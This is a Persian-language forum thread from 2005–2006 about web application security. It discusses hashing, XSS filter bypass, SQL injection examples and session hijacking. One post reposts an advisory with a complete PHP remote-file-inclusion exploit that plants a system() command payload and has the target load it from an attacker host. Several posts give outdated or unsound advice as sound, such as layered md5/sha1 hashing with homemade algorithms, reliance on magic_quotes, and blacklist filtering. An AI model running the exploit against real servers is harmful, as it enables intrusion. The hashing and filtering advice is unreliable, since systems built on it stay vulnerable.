مورد دیگر را که در Directory Browsing نیز توضیح دادم ذخیره فایل ها با پسوندی غیر قابل تفسیر توسط وب سرور (مثلا SQL ) است.در صورتیکه فکر می کنید چون از الگوریتم های هشینگ مانند md5 یا sha1 استفاده می کنید لو رفتن پسوردهای هش شده چه از این طریق چه از طریق Sql Injection یا هر روش دیگه ای مهم نیست باید بگم در اشتباهید.
چند وقت پیش خبری در زمینه کرک شدن الگوریتم sha1 توسط یک گروه دانشجویان چینی منتشر شد.در مورد md5 هم هماجم با دراختیار داشتن یک rainbow table مناسب توانایی این رو داره که پسوردهای شما را (بسته به قدرت آن ها) در چند ساعت روی یک سیستم عادی کرک کنه.

برای جلوگیری از این گونه مشکلات می تونید از چند لایه رمز نگاری یا ترکیب الگوریتم های رمز نگاری با الگوریتم خودتون استفاده کنید.


&lt;?PHP
$user=”houtanal”;
$hashed_user=md5&#40;$user&#41;;
$multi_hashed_user=md5&#40;sha1&#40;md5&#40;$user&#41;&#41;&#41;l
$custom_algorihtm=md5&#40;sha1&#40;$user&#41;.md5&#40;strlen&#40;$user &#41;&#41;&#41;;
?>

این گونه الگوریتم های شخصی بخصوص زمانی که کاربر شما ممکن است از یک شبکه برای اتصال و استفاده از سیستم استفاده کند یا اصلا نرم افزار تحت اینترانت باشئ مفید است.زیرا در صورت دزدیده شدن بسته ها در بین راه و عدم وجود امکان SSL باز هم مهاجم زمان زیادی زو برای آنالیز کار ما باید صرف کند.
توجه کنید که مقصود از تمامی روش های امنیتی صرفا کم کردن ضریب ریسک و بالا بردن ضریب اطمینان برنامه می باشد.بسیاری از مهاجمان در مراحل اول با صرف زمانی خاص و نگرفتن نتیجه نا امید می شوند.

یکی دیگر از روش های نسبتا مفید در این زمینه استفاده از جاوااسکریپت یا کلا اسکریپت ها کلاینت ساید برای جلوگیری از ارسال داده ها به شکل معمول است.مثلا پس او کایک کردن کاربر بر روی دکمه login بوسیله یک اسکریپت کلاینت ساید محتوی فرم را با الگوریتم خودتان کد کرده و در سمت سرور ساید دیکود کنید.البته راه چندان جالبی نیست چون در اختیار بودن سورس اسکریپت این امکان رو به مهاجم میده تا با خواندن آن این الگوریتم رو کرک کند.اما به هر حال بودش از نبودش بهتر است.
فراموش نکنید که اعتبار سنجی و بررسی مقادیر فرم ها را صرفا در سمت سرور ساید برنامه انجام دهید.

همان طور که گفتم یک مهاجم با در نظر گرفتن کنش و واکنش برنامه شما سعی در نفوذ به آن می کند.مثلا شما سیستمی دارید که به هر کاربر بر اساس اعتبار امکان دانلود میدهید.مثلا کاربری با اعتبار X امکان دانلود و دسترسی به یک سری فایل و کاربری با اعتبار Y امکان دسترسی به کل فایل ها را داراست.
شما با روش هایی که پیش تر گفته شد امکان Directory Browsing رو هم از بین برده اید.
کاربر X در هنگام دانلود به مکانی از سرور که فایل از آن دانلود می گردد توجه می کند.(حتی اگر با توابعی مثل header سعی در مخفی کردن آن کنید بار هم به سادگی می توان منبع فایل را فهمید) سپس مستقیما در مرورگر آدرس مربوطه (مثلا فولدر files ) را به همراه نام فایلی که مجاز به دسترسی آ« نیست وارد می کند!
برای جلوگیری از این مسئله نام فایل های خود را توسط یک برنامه با الگوریتم رمزنگتری یا هشینگ خودتان رمز نگاری یا هش کرده و سپس یا آدرس آن ها را در یک دیتابیس ذخیره کنید با الگوریتم را به گونه ای طراحی کنید که مثلا فایلی با نام test.zip همواره رشته رمزنگاری شده ثابت و یکتا داشته باشد سپس در هنگام درخواست کاربر نام فایل درخواست شده را سمت سرورساید برنامه با الگوریتمی که استفاده کرده اید رمزنگاری و سپس فایل مربوطه را به کاربر بدهید. حسن این روش در این است که تا زمانی که الگوریتم شما برای رمزنگاری نام فایل ها لو نرفته باشد کاربران دیگر نام فایل ها را نمی دانند بنابراین توانایی فای هایی که به آن دسترسی ندارند را از طریق وارد کردن نام آن ها در مرورگر ندارند.(توجه کنید که در صورتیکه جلوی حملات Directory Browsing گرفته نشده باشد تمامی کارهای فوق بی مورد و بیفایده است)

یک مورد دیگر
فکر کنید شما مثلا عبارت script رو برای جلوگیری از XSS در رشته ورودی حذف می کنید.مثلا این عبارت &lt;script>alert(document.domain)&lt;/script> تبدیل به &lt;>alert(document.domain)&lt;/> می گردد .حال چه اتفاقی میافته اگر مهاجم چنین چیزی وارد کنه
&lt;scrscriptipt>alert(document.domain)&lt;/scrscriptipt> :wink:
کلا نتیجه و مقصود این نوشته ها پنهان سازی روش و نحوه کارکرد برنامه از دید کاربران و مهاجمان است که با کمی خلاقیت خودتان باید آن را توسعه و در برنامه های خود بکار گیرید.

استفاده از sha1 و md5 در C#


private void btnSubmit_Click&#40;object sender, System.EventArgs e&#41;
&#123;
String userName = TextBox1.Text;
userName = hashSHA1&#40; hashMD5&#40;userName&#41;&#41;;
Response.Write&#40;userName&#41;;
&#125;

string hashMD5 &#40;string val&#41;&#123;
System.Security.Cryptography.MD5 md5serv = System.Security.Cryptography.MD5CryptoServiceProvi der.Create&#40;&#41;;
byte&#91;&#93; hash;
System.Text.StringBuilder stringbuff = new System.Text.StringBuilder&#40;&#41;;
System.Text.ASCIIEncoding asciienc = new System.Text.ASCIIEncoding&#40;&#41;;
byte&#91;&#93; buffer = asciienc.GetBytes&#40;val&#41;;
hash = md5serv.ComputeHash&#40;buffer&#41;;
foreach &#40;byte b in hash&#41;
stringbuff.Append&#40;b.ToString&#40;"x2"&#41;&#41;;
return &#40; stringbuff.ToString&#40;&#41;&#41;;
&#125;

string hashSHA1 &#40;string val&#41;
&#123;
System.Security.Cryptography.SHA1 sha1serv = System.Security.Cryptography.SHA1CryptoServiceProv ider.Create&#40;&#41;;
byte&#91;&#93; hash;
System.Text.StringBuilder stringbuff = new System.Text.StringBuilder&#40;&#41;;
System.Text.ASCIIEncoding asciienc = new System.Text.ASCIIEncoding&#40;&#41;;
byte&#91;&#93; buffer = asciienc.GetBytes&#40;val&#41;;
hash = sha1serv.ComputeHash&#40;buffer&#41;;
foreach &#40;byte b in hash&#41;
stringbuff.Append&#40;b.ToString&#40;"x2"&#41;&#41;;
return &#40; stringbuff.ToString&#40;&#41;&#41;;
&#125;

houtanal
سه شنبه 27 اردیبهشت 1384, 05:03 صبح
برای بخش های عمومی سایت مثل login و search و...
ببین چه مشکلی احتمال داره ایجاد کنه؟
تابع htmlspecialchars ئر مواردی که می خوای از نام کاربری فارسی یا از یونیکد استفاده کنی برات مشکل درست می کنه
من ترجیح میدم با تعریف یک تابع که از توابعی مثل str_replace یا ereg_replace استفاده می کنه ورودی های خطرناک رو فیلتر کنم. :موفق:

oxygenws
پنج شنبه 29 اردیبهشت 1384, 01:51 صبح
ممنون.

&lt;scrscriptipt>alert(document.domain)&lt;/scrscriptipt>
:mrgreen:

javad_hosseiny
یک شنبه 01 خرداد 1384, 10:04 صبح
بسیار عالی و نیکو استفاده کردیم

3nitro
یک شنبه 01 خرداد 1384, 15:07 عصر
خیلی کامل بود ! برای asp و مقابله به sql injection میتونید از کد زیر :


text=replace&#40;text,"'",""&#41;

و برای مقابله با xss اون هم میتونید از کد زیر استفاده کنید :


strOutput=replace&#40;strOutput,"&lt;","&amp;lt;"&#41;
strOutput=replace&#40;strOutput,">","&amp;gt;"&#41;

این که دیگه این همه درد سر نداره .

3nitro
یک شنبه 01 خرداد 1384, 15:10 عصر

houtanal
یک شنبه 01 خرداد 1384, 22:39 عصر
strOutput=replace(strOutput,"&lt;","&amp;lt;")
strOutput=replace(strOutput,">","&amp;gt;")
آسیب پذیره (تقزیبا خیلی)

text=replace(text,"'","")
ایضا


این که دیگه این همه درد سر نداره :mrgreen:
یکم گرفتار امتحاناتم. ::نوشتن:: سعی می کنم تا آخر هفته یک مقاله دیگه اضافه کنم.

کمی جلوتر بریم می بینی دردسر ها بیشتر میشه :)

3nitro
دوشنبه 02 خرداد 1384, 08:30 صبح
خیلی مطمئن هستی ؟ :D

3nitro
دوشنبه 02 خرداد 1384, 08:34 صبح
برای xss که همینه . برای sql injection هم برای اطمینان کوتیشن دوبل رو هم میشه اضافه کرد . خیلی هم امنه . میخواین من یه برنامه اینجوری بنویسم شما توش نفوذ کن . با همین 3-4 خط دستور ؟! :موفق:

houtanal
دوشنبه 02 خرداد 1384, 11:55 صبح
خیلی هم امنه

میخواین من یه برنامه اینجوری بنویسم شما توش نفوذ کن
امتحان کن
یه برنامه بنویس که یک ورودی از کاربر بگیره توی یک فایل ذخیره کنه و اونو نمایش بده و برای ایمن سازیش از همین متد استفاده کن.سپس یه جا آپلودش کن.
روی این XSS رو امتحان می کنیم

برای sql injection فکر کنم بهتر باشه بعد از مقالاتش چنین چیزی رو امتحان کنیم شاید در همون مقالات مشکل کدتو بفهمی(برای من فرق نمیکنه)

javad_hosseiny
دوشنبه 02 خرداد 1384, 21:02 عصر
من با استفاده از دستور ini_set متغیر مربوط به magic_quotes_gpc را فعال کردم (و یا درنظر بگیرید از طریق تنظیم فایل Php.ini( ولی متاسفانه این متغیری کاری را که باید انجام دهد انجام نمی دهد (قبول نکردن کاراکترهای غیرمجاز ذکر شده به هنگام پست کردن در فرم ها)
و نهایتا از طریق کد نویسی و دستور eregi_replace کاراکترهای غیرمجاز را دستی حذف کردم ولی به علت وجود ورودی های بسیار در سایت امکان آن هست که از طریق ست کردن متغیر دیگر و یا همین متغیر این عملیات را (قبول نکردن کدهای غیرمجاز در ورودها) این کار انجام شود؟

houtanal
سه شنبه 03 خرداد 1384, 15:43 عصر
من با استفاده از دستور ini_set متغیر مربوط به magic_quotes_gpc را فعال کردم (و یا درنظر بگیرید از طریق تنظیم فایل Php.ini( ولی متاسفانه این متغیری کاری را که باید انجام دهد انجام نمی دهد (قبول نکردن کاراکترهای غیرمجاز ذکر شده به هنگام پست کردن در فرم ها)
در صورتیکه on باشد ' را با '\ و الی الاخر عوض می کند

و نهایتا از طریق کد نویسی و دستور eregi_replace کاراکترهای غیرمجاز را دستی حذف کردم ولی به علت وجود ورودی های بسیار در سایت امکان آن هست که از طریق ست کردن متغیر دیگر و یا همین متغیر این عملیات را (قبول نکردن کدهای غیرمجاز در ورودها) این کار انجام شود؟
یک تابع براساس الگوریتم خودت بنویس و قبل از پردازش روی متغییر های دریافت شده از کاربر اونها رو از فیلتر اون تابع رد کن

javad_hosseiny
سه شنبه 03 خرداد 1384, 22:30 عصر
ممنون ولی همانطور که گفتم ورودی های سایت من زیاد است من می خواستم با تغییر یک تنظیم به این هدف برسم
به هر حال با استفاده از راهنمایی شما ورودی ها را فیلتر کردم (البته ورودهای ذکر شده در این بخش)
به هر حال مطالب جالبی ارائه کرده اید در صورت ادامه بحث استفاده بیشتری می کنیم
(مخصوصا در رابطه با استفاده از دستورات sql در ورودها)

houtanal
چهارشنبه 04 خرداد 1384, 13:44 عصر
ورودی های سایت من زیاد است
در همان php.ini مقدار magic_quotes_gpc رو مساوی on قرار بده.
برای محافظت از حملات sql injection بسیار مفیده.
اگر سرورت apache باشه میتونی این متغییر ها رو در یک .htaccess تعریف کنی.


ورودی ها را فیلتر کردم
البته سایتت(bou) هنوز آسیب پذیره(sql injection)
:mrgreen:

بهترین متخصصان امنیتی جهان هم نمی تونن امنیت رو صد در صد گارانتی کنن.به هر حال همیشه راهی هست.گاهی اوقات از ترکیب حملاتی با ریسک کم می شه به مقصود رسید گاهی هم نفوذ به برنامه یا سیستم خیلی ساده تر و بدون نیاز به خلاقیت یا کار خاصیست.به قول oracle
one way or,another :evil2:

houtanal
یک شنبه 22 خرداد 1384, 04:01 صبح
سلام
این غلطه



&lt;?php
$conn=mysql_connect&#40;"localhost","root",""&#41;;
$db=mysql_select_db&#40;"test"&#41;;
$q=mysql_query&#40;"SELECT * FROM t WHERE id=".$_GET&#91;'data'&#93;.""&#41;;
while&#40;$a=mysql_fetch_array&#40;$q&#41;&#41;&#123;
echo $a&#91;1&#93;."&lt;p>";
&#125;
?>

زیرا که:



http&#58;//127.0.0.1/tst/1.php?data=2%20UNION%20SELECT%20*%20FROM%20t


این یکی بهتره


&lt;?php
$conn=mysql_connect&#40;"localhost","root",""&#41;;
$db=mysql_select_db&#40;"test"&#41;;
$q=mysql_query&#40;"SELECT * FROM t WHERE id='".$_GET&#91;'data'&#93;."'"&#41;;
while&#40;$a=mysql_fetch_array&#40;$q&#41;&#41;&#123;
echo $a&#91;1&#93;."&lt;p>";
&#125;
?>

فرض رو بر این گذاشتم که ' , " , / , ... فیلتر میشوند

نکته:
کلا فلسفه Sql Injection بر مبنای تغییر دادن عبارت پرس و جوی برنامه بوسیله ورودی کاربر (مهاجم :evil2: ) قرار گرفته.
میتونه محدوده وسیعی از خطرات از جمله :
دزدیدن اطلاعات کاربران
دستکاری دیتا بیس
اجرای فرامین خط فرمان
ایجاد دسترسی کامل به سرور
جعل هویت
و...
رو بوجود بیاره.

نکته:
اگر فکر میکنید با متد POST جلوی حملاتی رو که بر مبنای ورودی برنامه هستند گرفتید با دقت مقالات قبلی رو بخونید.

نکته:
اکثر وب سایت های ایرانی (به خصوص برادرانی که از magic_qutes محروم هستند(من نمیدونم واقعا شما مایکروسافتی ها از زندگی چی میخواین :mrgreen: )) یا کلا آسیب پذیر هستند یا با متد های بچه گانه این محافظت می شوند که با کمی سماجت در هم شکسته به شما خوش آمد خواهند گفت.

نکته:
در برنامه های غیر وبی هم احتمال استفاده از Sql Injection هست

javad_hosseiny
یک شنبه 22 خرداد 1384, 10:40 صبح
خوب در صورت وضعیت بالا نکته این است که کاربر (مهاجم) نسبت به متغیر استفاده کرده توسط برنامه نویس آگاهی داشته باشد (و اگر برنامه نویس از متغیرهای آنرمال استفاده کرده باشد و یا حتی نرمال ولی چگونه مهاجم می تونه اونهارا حدس بزنه)
(سوال قبلی من هنوز پاسخ داده نشده چرا بین تنظیم متغیر magic_qutes از طریق کد نویسی در داخل فایل وب و یا از طریق فایل php.ini باهم متفاوت است)

houtanal
یک شنبه 22 خرداد 1384, 15:29 عصر
خوب در صورت وضعیت بالا نکته این است که کاربر (مهاجم) نسبت به متغیر استفاده کرده توسط برنامه نویس آگاهی داشته باشد (و اگر برنامه نویس از متغیرهای آنرمال استفاده کرده باشد و یا حتی نرمال ولی چگونه مهاجم می تونه اونهارا حدس بزنه)
صرفا در این روش با ارسال مقداری مزخرف می توان از برنامه خطایی گرفت که احتمالا نام فیلد و سایر اطلاعات در اون موجود است.
علاوه بر این بسیاری از برنامه نویسان از نام های معیین برای نام جداول و فیلد هاشون استفاده می کنند

سوال قبلی من هنوز پاسخ داده نشده چرا بین تنظیم متغیر magic_qutes از طریق کد نویسی در داخل فایل وب و یا از طریق فایل php.ini باهم متفاوت است
بیلمیرم
من هر چیزی رو که میخوام تغییر بدم در htaccess تعیین می کنم یا کلا طوری برنامه می نویسم که مستقل از برخی تنظیمات php.ini عمل کند

houtanal
پنج شنبه 02 تیر 1384, 06:37 صبح
برای طراحی بعضی بخش های سیستم های MIS می تونید از دیتابیس استفاده نکنید.

برای مثال برای ذخیره نامه های اداری میتونید پس از ورود اطلاعات اون هارو به صورت PDF یا html یا هر چیز دیگری ذخیره کنید و اطلاعات اون ها رو مثلا تاریخ آدرس و ... رو به دیتابیس بدهید.

به خاطر داشته باشید که:

- مهاجم ممکن است به هر وسیله (Sql injection -database bug-...) بتواند به اطلاعات موجود در دیتابیس دسترسی پیدا کند.

- مهاجم ممکن است با آدرس دهی دقیق فایل به محتویات آن دسترسی پیدا کند

- شما می توانید با تعریف یک الگوریتم رمز نگاری فایل های خود را غیر قابل خواندن ذخیره کنید سپس در فراخوانی اطلاعات آن ها را پس از پیاده سازی یک اعتبار سنجی چند لایه برای اطمینان از صحت درخواست کننده از رمز خارج کنید و به کاربر نشان دهید.

- توجه کنید اگر برای ذخیره پسورد ها از چند لایه هشیگ استفاده کنید مهاجم حتی در صورت دستیابی به آن ها راه بسیار درازی برای پیدا کردن پسورد ها دارد.با پیاده سازی الگوریتم شخصی خودتان + توابع هشینگ تقریبا بازیابی پسورد ها را برای یک مهاجم غیر ممکن می کنید.


جمع بندی:

پس از دریافت ورودی آن را در یک فایل ذخیره کنید

فایل را از کلاس رمزنگاری شخصی خود عبور دهید تا غیر قابل خواندن شود.(می توانید در همان مرحله ورود اطلاعات این کار رو بکنید)

می تونید بعضی از اطلاعات فایل رو در دیتابیس ذخیره کنید.(مثلا آدرس فایل)

در فراخوانی اطلاعات پس از اعتبار سنجی فایل را دوباره از کلاس رمز نگاری خود عبور دهید تا قابل خواندن شود

اطلاعات خوانده شده از فایل را به کاربر نمایش دهید ولی خود فایل رو به صورت رمز نگاری شده نگه دارید.

نکته:
عمرا از اسم های قابل حدس زدن برای ذخیره فایل ها استفاده نکنید مثلا 2005-8-2.pdf
به هر حال جلوگیری از دسترسی مهاجمین حتی به فایل ها کد شده و غیر خوانا بهتر از به اشتراک گذاشتن آن هاست

نکته:
بسته به نیاز برنامه این روش یکی از روش هاییست که می تونید با ترکیب اون با ساختار کلی برنامتون ازش استفاده کنید و فراموش نکنید که به هر حال استفاده دیتابیس اختیارات زیادی رو در اختیارتون میذاره بنابراین برای طراحی این برنامه ها و الگوریتم ها دقت کنید.به قول یکی از برادران
thnik first,code later :mrgreen:

نکته:
برای بعضی کارها از جمله همین یک بار در زندگیتون یک کلاس مناسب طراحی کنید و تا عمر داری ازش استفاده کنید ; اگر نیاز به طراحی مجدد یا گسترش بود حداقل یک نمونه دارید

نکته:
اگر سورس کلاس رمز نگاریتون لو بره ...(دیگه هیچی)
می تونید از نرم افزار هایی مثل zend encoder برای اطمینان از امنیت سورس هاتون استفاده کنید.
(نمی دونم برای زبان های غیر PHP هم چنین چیزی هست یا نه)

نکته:
تمامی این مقالات و گفتار های موزون صرفا برای به اشتراک گذاری روش های مختلف برای ایمن سازی برنامه های تحت وب است.خودتون رو محدود به این ها نکنید.

houtanal
سه شنبه 08 شهریور 1384, 18:27 عصر
به لطف وکمک آقای نعمتی یه سری نقالات به صورت کاملتر در اینجا قرار داده شده
http://cfz.ir/articles/?uid=subcat_962136884
اگر نکته یا چیز دیگه ای به نظرم برسه همین جا مینویسم

houtanal
جمعه 15 مهر 1384, 00:06 صبح
سه مقاله جدید:
http://cfz.ir/articles/?uid=subcat_962136884

سه مقاله آخر چندان ویرایش نشده بنابراین احتمالا غلط املایی یا فنی ممکن است داشته باشند.برادرانی که مطالعه می فرمایند لطف می کنند اگر مشکلی مشاهده شد اطلاع دهند

maryam_loyalty
پنج شنبه 29 دی 1384, 21:33 عصر
با سلام به دوستان گرامی
میشه لطفا یکی به من کمک کنه؟
من کلا میخوام بدونم برای امنیت در سایتی که با ASP.NET نوشته شده ، چه کارهایی باید کرد؟
میشه لطفا Site معرفی نکنید و درمورد روس های عملی توضیح بدین .من نیازم فوری است . ممنون میشم.

houtanal
جمعه 07 بهمن 1384, 03:11 صبح
بسیاری فکر میکنند در صورت استفاده از session ها به جای کوکی دیگه امکان hijack کردن وجود نداشته ، برنامه ایمن است.

اما:HTTP یک پروتکل کاملا متنی است یعنی یک عدد مهاجم بدخواه! می تونه به سادگی با sniff کردن پورت (معمولا) 80 به اطلاعات session دسترسی پیدا کرده از آن ها سو استفاده کند.(اطلاعاتی که میبینه همانیست که واقعا وجود داره)
در مورد بالا استفاده از session ها حتی ممکن است خطرناک تر باشد زیرا تغییر در کوکی نیاز به داشتن آگاهی از الگوریتم ذخیره سازی اطلاعات در آن کوکی را دارد در حالی که Session Hijacking در برنامه های تحت وب تنها با sniff کردن داده ها (یا روش هایی که منجر به ، به دست آوردن اطلاعات session شوند) میسر است.

نه فقط در این مورد بلکه در تمامی مواردی که اطلاعاتی حساس رد و بدل می گردند حتما از یک VPN یا SSL برای اطمینان خاطر استفاده کنید.(VPN بهتره(چند case study ! رو هر وقت حال داشتم مثال میزنم))

houtanal
شنبه 15 بهمن 1384, 21:38 عصر
سلام;
یه تست ساده از وب سایت های ایرانی نشون میده که:

آفتابه لگن هفت دست ولی شام و نهار هیچی، یعنی یک سایت با طراحی زیبا ، برنامه نویسی کارآمد و اطلاعات ارزشمند ، در عین حال مشکلات امنیتی بچه گانه می تونه تمرین خوبی برای کسانی که مقالات امنیت در نرم افزار های تحت وب رو می خونند باشه.
از هر ده سایتی که امتحان کردم حدودا 7 سایت دارای مشکلات خوف امنیتی هستند.تا حدی که با صرف حداکثر سه سوت (سوتی معادل حدودا 10 ثانیه!) وقت میشه به سادگی هر کاری که دوست داری باهاشون انجام بدی.
در حالت عادی ممکنه این قضیه چندان مهم نباشه.(هر کی هکمون کرد ما صبح درستش می کنیم می شه مثل اولش!)
اما
بعضی سایت ها ، اطلاعاتی رو صرفا برای اشخاص خاص ارائه میدن و دسترسی به اطلاعات برای افراد غیر مجاز و یا تغییر اون ها میتونه منافع اون سازمان رو به خطر بندازه.
بعضی سایت ها تراکنش های مالی دارند.(گاهی فکر می کنم بد نیست ماه به ماه پول تو جیبیمو از ATM ها بگیرم!)
بعضی دیگه میتونن دروازه ای برای حملات بعدی باشند.
و ....

راه حل:جدی گرفتن امنیت اطلاعات (شده شعار).(شاید بعدا چند خطی راجع به مدیریت امنیت اطلاعات و بحث هاش نوشتم.)

خارج از موضوع 1 : برام جالبه خیلی از کسانی که الان هکرند ! ، اگر بهشون بگی خوب بیا این سیستمی رو که هک میکنی ایمن کن نمی تونه.(بلد نیست! از بیخ عربه!)

خارج از موضوع 2 : چند وقت پیش با یکی از آشنایان صحبت می کردم گفتم برادر من تو الان اگه اطلاعات سیستمت لو بره یا از بین بره به قول خودت باید بری زندان ، چرا یه فکری نمی کنی؟می گفت : خداوند متعال تا به حال مارو نگه داشته انشاله بعدا هم نگه میداره.(بنده هم برای ایشون البته در موردی دیگر دعا میکنم)

houtanal
شنبه 15 بهمن 1384, 21:40 عصر
اساس Sql Injection بر پایه ' قرار گرفته.مهاجم عبارت sql شما رو در نقطه ای که میخواد قطع می کنه و بعد عبارت خودشو به سیستم تزریق میکنه.(با یه عبارت Sql چه کارهایی میشه کرد؟!)

anubis_ir
یک شنبه 16 بهمن 1384, 07:09 صبح
بسیاری فکر میکنند در صورت استفاده از session ها به جای کوکی دیگه امکان hijack کردن وجود نداشته ، برنامه ایمن است.

اما:HTTP یک پروتکل کاملا متنی است یعنی یک عدد مهاجم بدخواه! می تونه به سادگی با sniff کردن پورت (معمولا) 80 به اطلاعات session دسترسی پیدا کرده از آن ها سو استفاده کند.(اطلاعاتی که میبینه همانیست که واقعا وجود داره)
در مورد بالا استفاده از session ها حتی ممکن است خطرناک تر باشد زیرا تغییر در کوکی نیاز به داشتن آگاهی از الگوریتم ذخیره سازی اطلاعات در آن کوکی را دارد در حالی که Session Hijacking در برنامه های تحت وب تنها با sniff کردن داده ها (یا روش هایی که منجر به ، به دست آوردن اطلاعات session شوند) میسر است.

نه فقط در این مورد بلکه در تمامی مواردی که اطلاعاتی حساس رد و بدل می گردند حتما از یک VPN یا SSL برای اطمینان خاطر استفاده کنید.(VPN بهتره(چند case study ! رو هر وقت حال داشتم مثال میزنم))

سلام
محتوای متغیرهای سشن فقط در حافظه سرور وجود خارجی دارند. یا شاید من اشتباه می کنم؟

joker
یک شنبه 16 بهمن 1384, 12:45 عصر
من قبلا یه الگوریتم خیلی ساده جایگزینی برای جلوگیری از حملات sql injection با php نوشته بودم ، داشتم قاطی هاردم میگشتم پیداش کردم
میزارم شاید به درد کسی خود
( اگه باگ هم داشت به بزرگی خودتون ببخشین :) )

houtanal
یک شنبه 16 بهمن 1384, 15:32 عصر
محتوای متغیرهای سشن فقط در حافظه سرور وجود خارجی دارند. یا شاید من اشتباه می کنم؟

چطور نرم افزار تحت وب تو تشخیص میده کسی که الان میخواد وارد صفحه X بشه اعتبار سنجی شده؟(فقط در مورد session)

anubis_ir
دوشنبه 17 بهمن 1384, 07:36 صبح
تا جایی که می دونم متغیر سشن مختص به هر کاربر هست و در دسترس سایر کاربران نیست، این متغیر هم فقط در حافظه سرور ذخیره می شود.
روش اعتبار سنجی هم به این صورت است که یک متغیر سشن را به محض لاگین صحیح مقدار دهی کرده و در صفحات دیگر آنرا بررسی می کنند. این روش کاملا تست شده و مشکلی نداره.
فقط بحث مصرف زیاد حافظه سرور در جایی که تعداد کاربر زیاد باشد ممکن است شاید مساله ساز شود.
اسنیف کردن http headers‌ در یک شبکه داخلی بر اساس متغیرهای post شده از صفحه کاملا میسر است ولی ارتباطی به سشن که در فقط سرور وجود خارجی دارد ، ندارد. (البته session_id را می شود اسنیف کرد)
بحث مربوط به های‌جک کردن یک سشن بین php و asp و asp.net متفاوت است. در php متغیرهای سشن در دایرکتوری tmp عموما ذخیره می شوند و در یک shared server اگر صاحب هاست موارد امنیتی محدود کردن کاربران را رعایت نکرده باشد ممکن است شاید بشود کارهایی کرد. و یا از طریق XSS exploits شاید بشود session_id شخص را بدست آورد و آنرا ایجاد و با سطح دسترسی او وارد شد. (شاید و متاسفانه این مورد در ISP‌های ایرانی و اشخاصی که از IP های مانند هم در یک بازه زمانی یک روزه استفاده می کنند زیاد رخ می دهد. برای مثال در فوروم های php شاید دیده باشید که چرا من بجای دیگری وارد شدم؟!! )
همچنین Session ID ممکن است در انتهای url‌ در سایتهایی که از php استفاده می کنند قرار گیرد و باز هم این مورد اگر ملاحظه نشود خطرناک است.
تمام این موارد پس از لاگین مجدد شخص و با فراخوانی تابع session_regenerate_id تقریبا قابل حل است.
در asp و asp.net عمده موارد فوق به صورت توکار در موتورهای مربوطه حل شده است و نیاز آنچنانی به دقت نظر خاصی ندارد.

houtanal
دوشنبه 17 بهمن 1384, 13:28 عصر
بحث در این مورد به هیچ وجه این نیست که متغییر ها و مقادیر یک نشست در کجا ذخیره میشوند.بحث سر داده ایست که بوسیله یک پروتکل Clear Text بین مرورگر و برنامه تحت وب تبادل میشه.در این موارد زبان برنامه نویسی تفاوتی نمی کنه (اصلا مهم نیست) ، مقصود بحث ، بررسی ضعف های یک پروتکل (در اینجا http) و نحوه استفاده یک مهاجم از اون هاست.

شاید پروکسی هایی مثل آشیل بتونه بهت کمک کنه منظورم رو کامل درک کنی.

houtanal
جمعه 28 بهمن 1384, 00:48 صبح
بدون شرح
================================================== =====================================
*** :: Security Advisory 2/11/2006
================================================== =====================================
*** - Remote Command Execution Vulnerability
================================================== =====================================
http://www.***.net/
http://www.***.net/***
================================================== =====================================

:: Summary

Vendor : ***
Vendor Site : http://www.***.com/
Product(s) : ***- Automated Hosting Suite
Version(s) : All
Severity : Medium/High
Impact : Remote Command Execution
Release Date : 2/11/2006
Credits : ***(***(a) ***(.) net)

================================================== =====================================

I. Description

By creating a product that integrates with the major payment processors, registrars,
and provisioning tools on the market, ***gives your hosting company the power
to bill and activate hosting accounts in real-time, even while you sleep at night!


================================================== =====================================

II. Synopsis

There is a remote file inclusion vulnerability that allows for remote command execution
in the index.php file. The bug is here on lines 5, 6, and 7:

require("setup.php");
require("functions.php");
require("db.conf");
require($path . "que.php");
require($path . "provisioning_manager.php");
require($path . "registrar_manager.php");

the $path variable is not set prior to being used in the require() function.
The vendor is no longer offering updates for this software.

================================================== =====================================

Exploit code:

-----BEGIN-----

<?php
/*
***Remote File Inclusion Exploit c0ded by ***
Sh0uts: ***net, ***, ***, #***, ***
url: http://www.***.net/***
*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
echo "<p>Unable to get output.\n";
exit;
}

echo $form;

while (!feof ($file)) {
$line .= fgets ($file, 1024)."<br>";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>


------END------

================================================== =====================================

IV. Greets :>

All of **, ***, ***, ***, ***, ***, ***.

================================================== =====================================

houtanal
پنج شنبه 03 فروردین 1385, 14:33 عصر
شاید ربط چندانی به امنیت در نرم افزار های تحت وب نداشته باشه اما:

دو راه معرفی کنید که حتی با داشتن پسورد مدیر سیستم عامل در حالی که مثلا Terminal Service هم بر روی سیستم فعال است افراد authorize نشده نتوانند به سیستم وارد شوند، ولی authorize شده ها بتوانند.
ایضا این در مورد یک Interface مدریتی یا هر بخش خصوصی تحت وب هم صادق است.

houtanal
شنبه 05 فروردین 1385, 14:44 عصر
راه اول:
در صورتی که یک Valid IP دارید;
در سطح فایروال یا برنامه دسترسی را برای تمامی ip ها بجز valid ip خودتون ببندید.با راه اندازی یک VPN به کاربران مجاز این امکان را می دهید که مثلا خارج از شرکت هم با اتصال به VPN به سرویس ها مورد نظر وصل شوند.

راه دوم:
استفاده از Certificate ها;
برای مثال اینترفیس مدیریتی تحت وب خود ویندوز را در نظر بگیرید.همه چیز حتی ActiveX برای اتصال به Terminal Service از طریق وب را هم داره.خیلی راحت می تونید با استفاده از Client Authentication Certificate تنها به افرادی که دارای گواهینامه هستند اجازه دسترسی به این بخش (یا هر بخشی از یک وب سایت) را بدهید.

می تونید بخش هایی از روش اول و دوم رو با هم استفاده کنید.

houtanal
شنبه 05 فروردین 1385, 14:47 عصر
